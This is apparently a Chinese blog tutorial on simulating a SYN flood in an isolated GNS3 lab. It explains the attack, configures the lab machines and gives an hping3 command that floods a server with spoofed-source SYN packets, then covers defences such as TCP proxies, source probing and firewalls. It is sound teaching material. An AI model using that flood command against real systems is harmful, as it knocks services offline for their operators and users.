网络协议与攻击模拟_06攻击模拟SYN Flood

一、SYN Flood原理

在TCP三次握手过程中,

  • 客户端发送一个SYN包给服务器
  • 服务端接收到SYN包后,会回复SYN+ACK包给客户端,然后等待客户端回复ACK包。
  • 但此时客户端并不会回复ACK包,所以服务端就只能一直等待直到超时。服务端超时后会重发SYN+ACK包给客户端,默认会重试5次,而且每次等待的时间都会增加。

服务器收到客户端发来的SYN会建立一个半连接状态的Socket,当客户端在一定时间内持续不断的发大量的SYN包但不回复ACK包,就会耗尽服务端的资源,这就是SYN Flood攻击。

二、模拟SYN Flood攻击

1、实验环境

kali、Windows10、GNS3

2、网络拓扑

3、实验配置

  • GNS3路由器

    R1#conf t
    Enter configuration commands, one per line. End with CNTL/Z.
    R1(config)#int f0/0
    R1(config-if)#ip add 192.168.10.254 255.255.255.0
    R1(config-if)#no shut
    R1(config-if)#exit
    R1(config)#int f1/0
    R1(config-if)#ip add 192.168.100.254 255.255.255.0
    R1(config-if)#no shut
    R1(config-if)#

  • kali虚拟机配置网卡eth0

    #打开interfaces文件并添加eth0网卡
    ┌──(root㉿kali)-[/home/kali]
    └─# vim /etc/network/interfaces

  • 启用网卡并查看IP配置是否成功

    ┌──(root㉿kali)-[/home/kali]
    └─# ifdown eth0
    ifdown: interface eth0 not configured

    ┌──(root㉿kali)-[/home/kali]
    └─# ifup eth0

    #ifconfig查看上述更改是否生效
    ┌──(root㉿kali)-[/home/kali]
    └─# ifconfig
    eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.10.1 netmask 255.255.255.0 broadcast 192.168.10.255
    inet6 fe80::20c:29ff:fee2:4449 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:e2:44:49 txqueuelen 1000 (Ethernet)
    RX packets 552 bytes 47915 (46.7 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 51 bytes 7410 (7.2 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

    lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 18558 bytes 1513808 (1.4 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 18558 bytes 1513808 (1.4 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

    #ping测试看网关是否可达
    ┌──(root㉿kali)-[/home/kali]
    └─# ping 192.168.10.254
    PING 192.168.10.254 (192.168.10.254) 56(84) bytes of data.
    64 bytes from 192.168.10.254: icmp_seq=1 ttl=255 time=44.6 ms
    64 bytes from 192.168.10.254: icmp_seq=2 ttl=255 time=25.1 ms
    ^C
    --- 192.168.10.254 ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 1002ms
    rtt min/avg/max/mdev = 25.077/34.838/44.599/9.761 ms

  • 查看kali路由:

    └─# route -n
    Kernel IP routing table
    Destination Gateway Genmask Flags Metric Ref Use Iface
    0.0.0.0 192.168.10.254 0.0.0.0 UG 0 0 0 eth0
    192.168.10.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0

  • Windows使用命令配静态IP

    C:\Windows\system32>netsh interface ip set address "Ethernet0" static 192.168.100.1 255.255.255.0 192.168.100.254
    #查看IP是否设置成功 C:\Windows\system32>ipconfig
    #ping测试看网关是否可达 C:\Windows\system32>ping 192.168.100.254

ping测试 :kali 虚拟机pingWindows server 2016虚拟机

4、搭建IIS服务

  • Windows server 2016上面搭建IIS服务并在本地进行访问
  • kali火狐浏览器访问

肉鸡:几十万台同时在发几十万个包

DDOS计算的是同时的流量

5、实施SYN Flood攻击

  • 工具:kali (hping3 )

    hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.100.1
    #-c 发送 包的数量
    #-d 发送包的大小
    #-S 只发送SYN的报文
    -w 指定Windows窗口大小
    #-p 指定目标端口80
    #--flood
    #--rand-source发请求的时候指定随机的IP
    #服务器的IP

  • 多开几个shell进行 SYN Flood攻击:
  • 抓到的ICMP数据包

三、如何防御SYN Flood

1、使用TCP代理的方式

客户机先和代理服务器建立TCP连接,代理服务器收到TCP的ACK后,再将数据转发给服务器

如果用DDOS服务器将代理服务器打掉了,服务器也不能正常提供服务了,因为服务器是通过代理来提供服务的。代理:选代理一般使用高性能防火墙。

2、TCP的源探测,探测发送方

client发送syn请求,防火墙伪造SYN+ACk报文,如果客户机是虚假的源就不会响应,如果客户机是真实的源,就会发一个重新建立连接请求的RST报文。防火墙收到RST报文得知客户机是真实的,放通将数据传到服务器。

**知识补充:**下一代防火墙NGFW

不同信任级别的网络之间的一个线速(wire-speed)实时防护设备,能够对流量执行深度检测,并阻断攻击。

  • 前向兼容传统防火墙的功能,包括包过滤、协议状态过滤、NAT和VPN。
  • 具备应用感知能力,能基于应用实施精细化的安全管控策略和层次化的带宽管理手段。
  • 支持IPS功能,实现IPS(入侵防御系统)与防火墙的深度融合。
    IPS系统是位于防火墙和网络的设备之间的设备,当检测到攻击时,IPS会在这种攻击扩散到网络其他地方前阻止这个恶意通信。
    NGFW可以根据IPS检测的恶意流量自动更新下发安全策略,而不需要管理员介入。
  • 利用防火墙以外的信息,增强管控能力
    如利用ITit系统提供的用户信息、位置信息、漏洞和网络资源信息等,帮助改进和优化安全策略。如:通过集成用户认证系统,实现基于用户的安全策略,以应对移动办公场景下IP地址变化带来的管控难题。
相关推荐
浙江洲际检测认证13 分钟前
一分钟快速解读LEED绿色建筑认证
网络
千天夜1 小时前
深度学习中的残差网络、加权残差连接(WRC)与跨阶段部分连接(CSP)详解
网络·人工智能·深度学习·神经网络·yolo·机器学习
虾稿2 小时前
[手机Linux] 七,NextCloud优化设置
linux·运维·服务器
首发运维2 小时前
centos 释放系统预留内存并关闭Kdump服务
linux·运维·centos·linux操作系统问题
稳重的大王2 小时前
威联通NAS部署openwrt软路由保姆级教程附镜像文件
运维·服务器
茶颜悦色vv2 小时前
Wireshark(1)
网络·web安全·网络安全·wireshark
ascarl20102 小时前
【Nginx系列】---Nginx配置tcp转发
运维·tcp/ip·nginx
新子-存在了2 小时前
linux中 mysql备份
linux·运维·mysql
ZHOUPUYU2 小时前
VMware虚拟机超详细安装Linux教程(最新版)
linux·运维·服务器·windows·微软·centos·虚拟机
成都渲染101云渲染66662 小时前
云渲染,Enscape、D5、Lumion渲染提速教程
运维·服务器·unity·电脑·图形渲染·blender·houdini